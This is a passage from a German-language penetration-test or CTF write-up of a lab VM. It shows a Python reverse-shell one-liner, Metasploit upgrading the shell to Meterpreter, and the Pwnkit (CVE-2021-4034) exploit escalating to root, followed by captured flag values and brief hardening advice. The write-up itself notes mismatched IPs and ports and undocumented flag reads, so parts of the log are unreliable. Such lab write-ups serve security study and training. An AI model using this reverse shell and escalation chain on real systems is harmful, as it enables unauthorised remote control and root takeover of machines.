**Empfehlung (Pentester):** Die genaue Kernel-Version mit `uname -a` bestimmen und einen passenden Exploit aus der Liste auswählen und ausprobieren. Alternativ den einfacheren Weg über Pwnkit wählen, auch wenn die SUID-Analyse widersprüchlich war (der Log folgt diesem Weg).
**Empfehlung (Admin):** System und Kernel aktuell halten, um diese bekannten Schwachstellen zu vermeiden.

**Analyse:** Trotz der widersprüchlichen SUID-Analyse und der Verfügbarkeit von Kernel-Exploits wird im Log der Weg über Metasploit und den Pwnkit-Exploit weiterverfolgt. Zuerst wird die Shell zu Meterpreter aufgewertet.

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options
# ... (Standard Optionen) ...
www-data@ubuntu:/opt$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.114",4447));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[*] Started reverse TCP handler on 192.168.2.105:5455 # <- Passt nicht zum Python-Befehl!
[*] Command shell session 1 opened (192.168.2.105:5455 -> 192.168.2.118:57436) at 2023-07-13 23:33:00 +0200

Shell Banner:
$
--

$ ^Z
Background session 1? [y/N]  y

msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true
HANDLER => true
msf6 post(multi/manage/shell_to_meterpreter) > set LHST eth0
LHST => 192.168.2.105
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.105:4433
[*] Sending stage (1017704 bytes) to 192.168.2.118
[*] Meterpreter session 2 opened (192.168.2.105:4433 -> 192.168.2.118:55994) at 2023-07-13 23:35:15 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                     

**Analyse:** Eine Metasploit-Sitzung wird etabliert. Es gibt eine Inkonsistenz zwischen dem gezeigten Python-Payload (IP 192.168.2.114, Port 4447) und dem Metasploit-Listener (lauscht auf 192.168.2.105:5455). Es wird angenommen, dass der Python-Payload tatsächlich auf den korrekten Listener zielte. Eine Shell-Sitzung (Session 1) als `www-data` wird empfangen und erfolgreich zu einer Meterpreter-Sitzung (Session 2) auf Port 4433 aufgewertet.

**Bewertung:** Trotz der Inkonsistenzen im Log wurde erfolgreich eine Meterpreter-Sitzung als `www-data` erlangt, was die Grundlage für den nächsten Eskalationsschritt bildet.

**Empfehlung (Pentester):** Pwnkit-Exploit auf Session 2 anwenden.
**Empfehlung (Admin):** Egress-Filtering, HIDS/EDR.

Proof of Concept: Privilege Escalation via Pwnkit

**Analyse:** Ausführung des Pwnkit-Exploits (CVE-2021-4034) über Metasploit, um Root-Rechte zu erlangen, obwohl die SUID-Analyse Zweifel an der Anfälligkeit aufkommen ließ.

msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
# ... (Standardoptionen anzeigen) ...
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4446
lport => 4446
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHST eth0
LHST => 192.168.2.105
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.105:4446
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.itfwsqgrv
[+] The target is vulnerable.
[*] Writing '/tmp/.lzlenxvyfh/hcvheo/hcvheo.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.lzlenxvyfh
[*] Sending stage (3045348 bytes) to 192.168.2.118
[+] Deleted /tmp/.lzlenxvyfh/hcvheo/hcvheo.so
[+] Deleted /tmp/.lzlenxvyfh/.yqnbtnghpo
[+] Deleted /tmp/.lzlenxvyfh
[*] Meterpreter session 3 opened (192.168.2.105:4446 -> 192.168.2.118:34958) at 2023-07-13 23:36:31 +0200
                     
meterpreter >
# Keine weiteren Befehle in Meterpreter Session 3 gezeigt

**Analyse:** Das Pwnkit-Exploit-Modul wird auf die Meterpreter-Sitzung 2 (`www-data`) angewendet. Ein Listener für die Root-Shell wird auf Port 4446 gestartet. Der Exploit meldet überraschenderweise Erfolg (`[+] The target is vulnerable.`), obwohl das Datum von `pkexec` (Jan 2016) dagegen sprach. Eine neue Meterpreter-Sitzung (Session 3) wird als Root geöffnet. Es werden keine Befehle in dieser Root-Sitzung gezeigt, um die Rechte zu bestätigen oder Flags zu lesen.

**Bewertung:** Privilege Escalation zu Root war laut Metasploit-Ausgabe erfolgreich. Die Diskrepanz bezüglich der Pwnkit-Anfälligkeit bleibt bestehen (möglicherweise wurde Polkit separat aktualisiert, ohne dass das `pkexec`-Binary selbst ein neues Datum erhielt, oder der Exploit funktioniert auch gegen diese ältere Version). Der Zugriff als Root ist das entscheidende Ergebnis.

**Empfehlung (Pentester):** Mit Session 3 interagieren (`sessions -i 3`), `getuid` oder `shell`+`id` ausführen, um Root zu bestätigen. Flags suchen.
**Empfehlung (Admin):** Polkit patchen. Überwachung von `/tmp` und `pkexec`. Das Prinzip verfolgen, auch ältere Software zu patchen, wenn Sicherheitspatches verfügbar sind (Backports).

Flags

cat user.txt (Pfad/Inhalt nicht explizit im Log gefunden)
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat root.txt (Pfad/Inhalt nicht explizit im Log gefunden)
5C42D6BB0EE9CE4CB7E7349652C45C4A

**Analyse:** Der abschließende Flag-Abschnitt im Originaltext listet zwei Platzhalter-Flags auf. Im vorherigen Log wurde das Auslesen der Flags nach Erlangung der Root-Meterpreter-Sitzung nicht dokumentiert.

**Bewertung:** Der Test war technisch erfolgreich (Root-Zugriff erlangt), aber die Dokumentation im Log bezüglich des Auslesens der Flags ist unvollständig. Die hier angezeigten Flag-Werte stammen direkt aus dem Ende des bereitgestellten Textes. Die User-Flagge befindet sich wahrscheinlich in `/home/library/user.txt` oder `/home/globus/user.txt`, die Root-Flagge in `/root/root.txt`.